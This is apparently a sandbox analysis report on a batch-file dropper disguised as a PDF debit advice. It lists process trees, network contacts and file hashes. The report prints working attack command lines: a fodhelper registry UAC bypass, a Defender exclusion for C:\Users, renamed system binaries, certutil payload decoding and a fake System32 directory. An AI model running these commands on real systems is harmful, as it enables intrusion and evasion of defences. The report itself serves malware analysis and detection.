N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Public\xkn.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\colorcpl.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2416 wrote to memory of 4784 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2416 wrote to memory of 4784 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4784 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 4784 wrote to memory of 2488 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\extrac32.exe
PID 2416 wrote to memory of 2476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2476 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2476 wrote to memory of 3644 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2476 wrote to memory of 3644 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2416 wrote to memory of 2128 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2128 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2128 wrote to memory of 4020 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2128 wrote to memory of 4020 N/A C:\Users\Public\alpha.exe C:\Windows\system32\extrac32.exe
PID 2416 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 4024 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4024 wrote to memory of 3200 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 4024 wrote to memory of 3200 N/A C:\Users\Public\alpha.exe C:\Users\Public\xkn.exe
PID 3200 wrote to memory of 1648 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 3200 wrote to memory of 1648 N/A C:\Users\Public\xkn.exe C:\Users\Public\alpha.exe
PID 1648 wrote to memory of 4520 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 1648 wrote to memory of 4520 N/A C:\Users\Public\alpha.exe C:\Windows\system32\reg.exe
PID 3200 wrote to memory of 2408 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 3200 wrote to memory of 2408 N/A C:\Users\Public\xkn.exe C:\Windows\system32\fodhelper.exe
PID 2416 wrote to memory of 2692 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2692 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2692 wrote to memory of 3876 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2692 wrote to memory of 3876 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2416 wrote to memory of 2940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2940 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2940 wrote to memory of 4348 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2940 wrote to memory of 4348 N/A C:\Users\Public\alpha.exe C:\Users\Public\kn.exe
PID 2416 wrote to memory of 4756 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2416 wrote to memory of 4756 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2416 wrote to memory of 4756 N/A C:\Windows\system32\cmd.exe C:\Users\Public\Libraries\Lewxa.com
PID 2416 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 512 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 2448 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 4752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 4752 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 4752 wrote to memory of 4376 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4752 wrote to memory of 4376 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 2416 wrote to memory of 1692 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 2416 wrote to memory of 1692 N/A C:\Windows\system32\cmd.exe C:\Users\Public\alpha.exe
PID 1692 wrote to memory of 1392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 1692 wrote to memory of 1392 N/A C:\Users\Public\alpha.exe C:\Windows\system32\taskkill.exe
PID 4756 wrote to memory of 4028 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 4028 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 4028 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 3576 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 3576 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 3576 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 1836 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 1836 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 4756 wrote to memory of 1836 N/A C:\Users\Public\Libraries\Lewxa.com C:\Windows\SysWOW64\cmd.exe
PID 1836 wrote to memory of 3180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\1631364.exe
PID 1836 wrote to memory of 3180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows \System32\1631364.exe
PID 3180 wrote to memory of 4264 N/A C:\Windows \System32\1631364.exe C:\Windows\system32\cmd.exe
PID 3180 wrote to memory of 4264 N/A C:\Windows \System32\1631364.exe C:\Windows\system32\cmd.exe
PID 4264 wrote to memory of 4048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4264 wrote to memory of 4048 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat"

C:\Windows\system32\cmd.exe

cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Windows\system32\extrac32.exe

extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\xkn.exe

C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\reg.exe

reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "

C:\Windows\system32\fodhelper.exe

"C:\Windows\system32\fodhelper.exe"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\DEBIT_ADVICE_000610PAY001522024.PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12

C:\Users\Public\Libraries\Lewxa.com

C:\\Users\\Public\\Libraries\\Lewxa.com

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettingsAdminFlows.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows "

C:\Windows\SysWOW64\cmd.exe

cmd /c mkdir "\\?\C:\Windows \System32"

C:\Windows\SysWOW64\cmd.exe

cmd /c "C:\Windows \System32\1631364.exe"

C:\Windows \System32\1631364.exe

"C:\Windows \System32\1631364.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""

C:\Windows\system32\cmd.exe

cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Koomxsve.PIF

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\System32\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\amixwhvjyuqnpmdjxqudkounpfwyenzd"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\chnq"

C:\Windows\SysWOW64\colorcpl.exe

C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\njaixsr"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3720 -ip 3720

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 1364

Network

Country Destination Domain Proto
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 130.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
GB 2.20.37.224:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 224.37.20.2.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 1010.filemail.com udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 23.237.50.106:443 1010.filemail.com tcp
US 23.237.50.106:443 1010.filemail.com tcp
US 8.8.8.8:53 106.50.237.23.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 104.241.123.92.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 196.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 211.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 43.56.20.217.in-addr.arpa udp
N/A 127.0.0.1:45671 tcp
N/A 127.0.0.1:55677 tcp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 8.101.3.192.in-addr.arpa udp
US 192.3.101.8:55677 tcp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 79.121.231.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 169.253.116.51.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hltcxvfn.j0g.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3200-17-0x0000017AFBED0000-0x0000017AFBEF2000-memory.dmp

memory/3200-27-0x00007FFB4EDA0000-0x00007FFB4F861000-memory.dmp

memory/3200-28-0x0000017AFBF00000-0x0000017AFBF10000-memory.dmp

memory/3200-29-0x0000017AFBF00000-0x0000017AFBF10000-memory.dmp

memory/3200-34-0x00007FFB4EDA0000-0x00007FFB4F861000-memory.dmp

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\Lewxa.txt

MD5 8f6b3132069a25963b93083743e160dd
SHA1 364112fc579f11dfa82a3c1078ec19706cd6dfda
SHA256 5184b2c7c5ffbaf8b8c9bac27545f09447b61d619a2f2bf472570b9ebec5747c
SHA512 af3051aeed9de9931f12d48cd22fef3273f9350a1cdd3c476fa02f7550288f7a96112f311d4dadcf61f0a67c93c22ce2999fb6253c8841b9d399e710b8518938

C:\Users\Public\Libraries\Lewxa.com

MD5 04aba5a372c8dac9affd6f1578b478b3
SHA1 1e0d764539cbf2e86e0d59b83f407b429f61fdb7
SHA256 b27a5e00f3339d8020da21dabc1c53e001bf5d4a809c47cee65f3e9383568411
SHA512 4d69053814b86bd13b59ca8b147a5331d0eace3ed2aaa936dc35086fdba8ef44d757bdc788eec61338f443578f98b8859f8dd7c7eeef486cab9ecb8eb5be15a3

memory/4756-49-0x0000000002420000-0x0000000002421000-memory.dmp

C:\Users\Public\xkn.exe

MD5 a67f5b6dd5680a086feba86ba9990d03
SHA1 00b2fafa10f1ad0623b5a6c2d51344fa49ee2f5a
SHA256 16e1f9fef93c93ed32130ac028b7860581eb61a5b454cb395c877ea2d6ce1019
SHA512 cebee132ec11a5b2ac6e9cbf28e48bcf02233e69cf2e98f523b7835d5471855f405cf5a1515207861553cb9988f1809727dc4320a80a54d8d44865b88f5620e7

memory/4756-55-0x0000000003F30000-0x0000000004F30000-memory.dmp

memory/4756-57-0x0000000003F30000-0x0000000004F30000-memory.dmp

memory/4756-59-0x0000000000400000-0x0000000000527000-memory.dmp

memory/4756-61-0x0000000002420000-0x0000000002421000-memory.dmp

C:\Windows \System32\1631364.exe

MD5 231ce1e1d7d98b44371ffff407d68b59
SHA1 25510d0f6353dbf0c9f72fc880de7585e34b28ff
SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
SHA512 520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

C:\Windows \System32\netutils.dll

MD5 fa7aa88417d0c48807144a1a48fe3fbc
SHA1 6f5ec990b12d4a6075050a94e0d68d03781fa46d
SHA256 2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098
SHA512 99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

memory/3180-72-0x00000000613C0000-0x00000000613E3000-memory.dmp

C:\windows \system32\KDECO.bat

MD5 c545650595b479c81ad6b9d8882aae39
SHA1 7a98aa2e6eee23b3c1bba876955d525bc618b3f0
SHA256 a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9
SHA512 85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

memory/3968-74-0x00007FFB4CF40000-0x00007FFB4DA01000-memory.dmp

memory/3968-75-0x0000023D3B9D0000-0x0000023D3B9E0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 50a8221b93fbd2628ac460dd408a9fc1
SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

memory/3968-85-0x0000023D3B9D0000-0x0000023D3B9E0000-memory.dmp

memory/3968-89-0x00007FFB4CF40000-0x00007FFB4DA01000-memory.dmp

memory/3720-97-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-99-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-100-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-101-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-103-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-104-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-108-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-109-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-110-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-111-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-113-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-114-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/3720-116-0x00000000006E0000-0x00000000016E0000-memory.dmp

memory/4440-117-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2080-118-0x0000000000400000-0x0000000000462000-memory.dmp

memory/4440-120-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2292-125-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4440-124-0x0000000000400000-0x0000000000478000-memory.dmp

memory/2080-122-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2080-130-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2292-133-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2080-135-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2292-134-0x0000000000400000-0x0000000000424000-memory.dmp

memory/2080-129-0x0000000000400000-0x0000000000462000-memory.dmp

memory/2292-136-0x0000000000400000-0x0000000000424000-memory.dmp

memory/4440-138-0x0000000000400000-0x0000000000478000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\amixwhvjyuqnpmdjxqudkounpfwyenzd

MD5 63a3d218b0d233efc9806729feba705a
SHA1 3cda6c59e0b8115d8538c8ff0d94a49294d516ac
SHA256 66ceb453b5931baa8d942d514cc1dcc41a24ab59313c0621daa9920bd0566bfd
SHA512 d0cfb106b57a4e90523c194d073a131bc65461d8e792b0be51aef89aa413dded53c2aba723fc677f68b1211411a0e105b5771cafa045d3e11d54db578577b683

memory/3720-140-0x000000001A580000-0x000000001A599000-memory.dmp

memory/3720-143-0x000000001A580000-0x000000001A599000-memory.dmp

memory/3720-144-0x00000000006E0000-0x00000000016E0000-memory.dmp